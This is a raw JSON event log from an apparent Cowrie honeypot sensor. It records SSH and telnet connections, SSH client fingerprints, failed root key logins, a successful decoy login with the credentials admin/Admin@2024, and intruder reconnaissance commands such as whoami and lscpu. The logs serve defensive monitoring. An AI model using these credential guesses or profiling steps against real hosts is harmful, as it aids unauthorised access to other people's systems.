{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:21.629095Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:22.921979Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:22.925706Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:23.643454Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:25.590101Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:25.594023Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:26.131436Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:26.717608Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:26.721586Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.146018028259277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:26.731667Z","src_ip":"45.63.78.87","session":"f40db588ce67","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:27.036118Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"45.4","message":"Connection lost after 45.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:27.043095Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":40132,"dst_ip":"10.17.0.5","dst_port":23,"session":"b26158f7228e","protocol":"telnet","message":"New connection: 45.63.78.87:40132 (10.17.0.5:23) [session: b26158f7228e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:29.209198Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":41896,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c417cd432d1","protocol":"telnet","message":"New connection: 45.63.78.87:41896 (10.17.0.5:23) [session: 6c417cd432d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:35.722418Z"}
{"eventid":"cowrie.session.closed","duration":31.132610321044922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:38.796510Z","src_ip":"45.63.78.87","session":"689c3f73ebb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":43906,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b4a8c8c306d","protocol":"telnet","message":"New connection: 45.63.78.87:43906 (10.17.0.5:23) [session: 8b4a8c8c306d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:42.857603Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":44176,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb3e7d06d197","protocol":"telnet","message":"New connection: 45.63.78.87:44176 (10.17.0.5:23) [session: bb3e7d06d197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:44.072024Z"}
{"eventid":"cowrie.session.closed","duration":30.899330139160156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:48.353643Z","src_ip":"45.63.78.87","session":"6d1690e4f031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":46804,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a8050088452","protocol":"telnet","message":"New connection: 45.63.78.87:46804 (10.17.0.5:23) [session: 3a8050088452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:55.167392Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":47606,"dst_ip":"10.17.0.5","dst_port":23,"session":"64bd4e0b0666","protocol":"telnet","message":"New connection: 45.63.78.87:47606 (10.17.0.5:23) [session: 64bd4e0b0666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:59.649994Z"}
{"eventid":"cowrie.session.closed","duration":31.16852617263794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:00.377580Z","src_ip":"45.63.78.87","session":"b26158f7228e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916769981384277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:06.639058Z","src_ip":"45.63.78.87","session":"6c417cd432d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":44268,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb59b14cff37","protocol":"telnet","message":"New connection: 199.103.57.63:44268 (159.203.135.109:23) [session: eb59b14cff37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:07.168833Z"}
{"eventid":"cowrie.session.closed","duration":31.023776531219482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:13.881233Z","src_ip":"45.63.78.87","session":"8b4a8c8c306d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.932965517044067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:16.004888Z","src_ip":"45.63.78.87","session":"bb3e7d06d197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.132.17","src_port":48676,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f61893896db","protocol":"ssh","message":"New connection: 108.181.132.17:48676 (10.17.0.5:22) [session: 5f61893896db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.393182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.398878Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.413050Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:22:02:6f:04:55:25:3b:d3:96:80:0c:c0:e8:e3:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsMor/dcXdXvGEwUrZVFLosdv8L52STU0KaIMYNLxolARe2BdTYNfzkPoYCJSR1caDaC9tWtyNQPB4wNt5ay/xUnfg2stmLpgeE2CHO1lydujk2KUJr2RL40Rfsv6+ZGcNj+W3XRC282y/jkUTY/7Fhk4rv98K34QFJn/TsAnR2sp8ePUI5D4gk4vBH0CgO9PXL+kNWJW5MIWli965O8TCk1q6m2REF8Cb9p0C82uNEgoXdoXN/du/Aj68ciIWZKEH8Z+JILSw8aiKN7hWjtN/9J1sNPS7xWHyecxJHaQlEUvF17id4f7aXMobyjoiGIXp46Z0i57/vAqa9kpyFofB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:22:02:6f:04:55:25:3b:d3:96:80:0c:c0:e8:e3:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.454518Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:22:02:6f:04:55:25:3b:d3:96:80:0c:c0:e8:e3:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsMor/dcXdXvGEwUrZVFLosdv8L52STU0KaIMYNLxolARe2BdTYNfzkPoYCJSR1caDaC9tWtyNQPB4wNt5ay/xUnfg2stmLpgeE2CHO1lydujk2KUJr2RL40Rfsv6+ZGcNj+W3XRC282y/jkUTY/7Fhk4rv98K34QFJn/TsAnR2sp8ePUI5D4gk4vBH0CgO9PXL+kNWJW5MIWli965O8TCk1q6m2REF8Cb9p0C82uNEgoXdoXN/du/Aj68ciIWZKEH8Z+JILSw8aiKN7hWjtN/9J1sNPS7xWHyecxJHaQlEUvF17id4f7aXMobyjoiGIXp46Z0i57/vAqa9kpyFofB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.459517Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:36:89:7f:9c:aa:9b:02:f1:c4:eb:4a:5b:40:ae:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeQD2Hn40bxN4V7kk/Zi6kDEroRkqJIJYcHolfY8wIUX+k2tUDxul3I51loZmPClZw5ZL8pld9eQxU8WWnq55ziiP9kkSisXX04hQ2hOc/1HNLJCv4bX3DunBy3Lcl1u/tnbdudqNOQyiGFkgs3ar1DP55pgSACtJZ0o4n55v7Xy3l87NFnoSbUK+jRzkGvTtENEiqFOkixN6Rbs96M+dm8gGxDlXBU60y2zOWrUqE++cVE7wIZr+3yOVf8AqNxQXTBLhOA1TfaeyHpM83j8b66knLt0zcq87U0wghzv4UPB5KINmdNs8dJRGP2wEFbGNTCWa4/NGYnO2Bts2PwNg/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:36:89:7f:9c:aa:9b:02:f1:c4:eb:4a:5b:40:ae:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.473943Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:36:89:7f:9c:aa:9b:02:f1:c4:eb:4a:5b:40:ae:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeQD2Hn40bxN4V7kk/Zi6kDEroRkqJIJYcHolfY8wIUX+k2tUDxul3I51loZmPClZw5ZL8pld9eQxU8WWnq55ziiP9kkSisXX04hQ2hOc/1HNLJCv4bX3DunBy3Lcl1u/tnbdudqNOQyiGFkgs3ar1DP55pgSACtJZ0o4n55v7Xy3l87NFnoSbUK+jRzkGvTtENEiqFOkixN6Rbs96M+dm8gGxDlXBU60y2zOWrUqE++cVE7wIZr+3yOVf8AqNxQXTBLhOA1TfaeyHpM83j8b66knLt0zcq87U0wghzv4UPB5KINmdNs8dJRGP2wEFbGNTCWa4/NGYnO2Bts2PwNg/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.477725Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:59:f1:3c:30:f2:1b:18:44:c8:61:5a:ba:9c:37:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAl9i3DFOe9ALLVklKZYzNqCMhjhdGCSe5LBiBl1KsNyNbCnVpDBU0QocYuYniYrfrhwgRgjN0BDoajXW2dAgFNJcjkV4zfcuE1aag8kaKQVJ4RFb231EW+i7ckdaSsurJ5pi99zpGHUi70iPpwVuzYom7BHzd1ijom0juFa1GwQ6HorKRYzQFPupR1HIEzL+tytCOjMD4JAa/417donxHuRzYMdgdvzIjSdtChtbNFceYPEdZPVW0ELdOmFdWjqmLnS6cmOdlKHRlC0X71LWkuefU4m6+NEbtGLcpw4nJgvO53N8Jt0hUI+5kBiEV6uyJBs4G3K0k9G8paWqM1/YzpQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:59:f1:3c:30:f2:1b:18:44:c8:61:5a:ba:9c:37:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.491127Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:59:f1:3c:30:f2:1b:18:44:c8:61:5a:ba:9c:37:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAl9i3DFOe9ALLVklKZYzNqCMhjhdGCSe5LBiBl1KsNyNbCnVpDBU0QocYuYniYrfrhwgRgjN0BDoajXW2dAgFNJcjkV4zfcuE1aag8kaKQVJ4RFb231EW+i7ckdaSsurJ5pi99zpGHUi70iPpwVuzYom7BHzd1ijom0juFa1GwQ6HorKRYzQFPupR1HIEzL+tytCOjMD4JAa/417donxHuRzYMdgdvzIjSdtChtbNFceYPEdZPVW0ELdOmFdWjqmLnS6cmOdlKHRlC0X71LWkuefU4m6+NEbtGLcpw4nJgvO53N8Jt0hUI+5kBiEV6uyJBs4G3K0k9G8paWqM1/YzpQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.495236Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:e0:3c:10:fa:08:4f:dc:2b:27:6e:7e:65:2b:fd:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCC0afpJqg5SalJMl9pfkLtZOiDKKV2fJVjGQPCI5EMwcM3IT6xZ0D4jYFOIo44w/J96oyT3Ek7utbgPIS6BITDYMtZOyrRtrg/88wG5/FDOPGe6Alg5Etn+jO2eXWoTm7sDTcKlVJdb1YgFF4FcX++Kei8+4rRyaR1GCzpKswdH3HaEyqS0YH9XEXOADuA31Bx+s0xDLo2mIHmdfwPJaJ3qfC+v/nkWYpmPdzVfPGY62MQnH32sMIjQi7DEbIlFoA4LPNjkgRBMrNgt2HE6t0veVKTvqo21KAijVmn6Ux7YOsYs6rkMS/mhyT331oF7DTd/G4tit3QwnkBtbTJfDb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:e0:3c:10:fa:08:4f:dc:2b:27:6e:7e:65:2b:fd:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.508040Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:e0:3c:10:fa:08:4f:dc:2b:27:6e:7e:65:2b:fd:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCC0afpJqg5SalJMl9pfkLtZOiDKKV2fJVjGQPCI5EMwcM3IT6xZ0D4jYFOIo44w/J96oyT3Ek7utbgPIS6BITDYMtZOyrRtrg/88wG5/FDOPGe6Alg5Etn+jO2eXWoTm7sDTcKlVJdb1YgFF4FcX++Kei8+4rRyaR1GCzpKswdH3HaEyqS0YH9XEXOADuA31Bx+s0xDLo2mIHmdfwPJaJ3qfC+v/nkWYpmPdzVfPGY62MQnH32sMIjQi7DEbIlFoA4LPNjkgRBMrNgt2HE6t0veVKTvqo21KAijVmn6Ux7YOsYs6rkMS/mhyT331oF7DTd/G4tit3QwnkBtbTJfDb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.513564Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:da:42:5a:71:c0:11:49:7a:a4:3b:d6:ec:aa:d8:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqzSQYEvJOCXF5N7nU2OC6O1i59fEHfUBy3qHlvjxqZu4L0chtFqo2FfwhHT8UYXeEzNg1mMFySPitH9yprCEWfcWK64f1Vkro0S6G1UEOq8Gid996Hv0DdkEbnTgVYSlsDbfPdwZWMsixOsjaXPqGOb6nAcAAasTKeGyTzNR/vMhBUEIiHelr8qCdNxpKtsAMeAo/qwPc0ZoA6WqjWsNpxyAd0+TcHEcqjzldQRJuuKbd9UOd+4lV7OuORi0Dbw6zCUsyikpoV1GRV1eGstFyvok8yNu2WROMvIQCu1idi3u1krezuaKzcCX8gy7/eeeKGVD476J30Q0dLQ26EnDqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:da:42:5a:71:c0:11:49:7a:a4:3b:d6:ec:aa:d8:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.528039Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:da:42:5a:71:c0:11:49:7a:a4:3b:d6:ec:aa:d8:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqzSQYEvJOCXF5N7nU2OC6O1i59fEHfUBy3qHlvjxqZu4L0chtFqo2FfwhHT8UYXeEzNg1mMFySPitH9yprCEWfcWK64f1Vkro0S6G1UEOq8Gid996Hv0DdkEbnTgVYSlsDbfPdwZWMsixOsjaXPqGOb6nAcAAasTKeGyTzNR/vMhBUEIiHelr8qCdNxpKtsAMeAo/qwPc0ZoA6WqjWsNpxyAd0+TcHEcqjzldQRJuuKbd9UOd+4lV7OuORi0Dbw6zCUsyikpoV1GRV1eGstFyvok8yNu2WROMvIQCu1idi3u1krezuaKzcCX8gy7/eeeKGVD476J30Q0dLQ26EnDqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.532279Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:21.548399Z","src_ip":"108.181.132.17","session":"5f61893896db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":54398,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e044bc1beb6","protocol":"telnet","message":"New connection: 45.63.78.87:54398 (10.17.0.5:23) [session: 4e044bc1beb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:24.080427Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":5085,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c6149859d9f","protocol":"ssh","message":"New connection: 185.9.193.111:5085 (159.203.135.109:22) [session: 2c6149859d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:25.995777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:26.000981Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:26.227674Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.197559595108032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:26.364859Z","src_ip":"45.63.78.87","session":"3a8050088452","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@2024","message":"login attempt [admin/Admin@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:27.141154Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
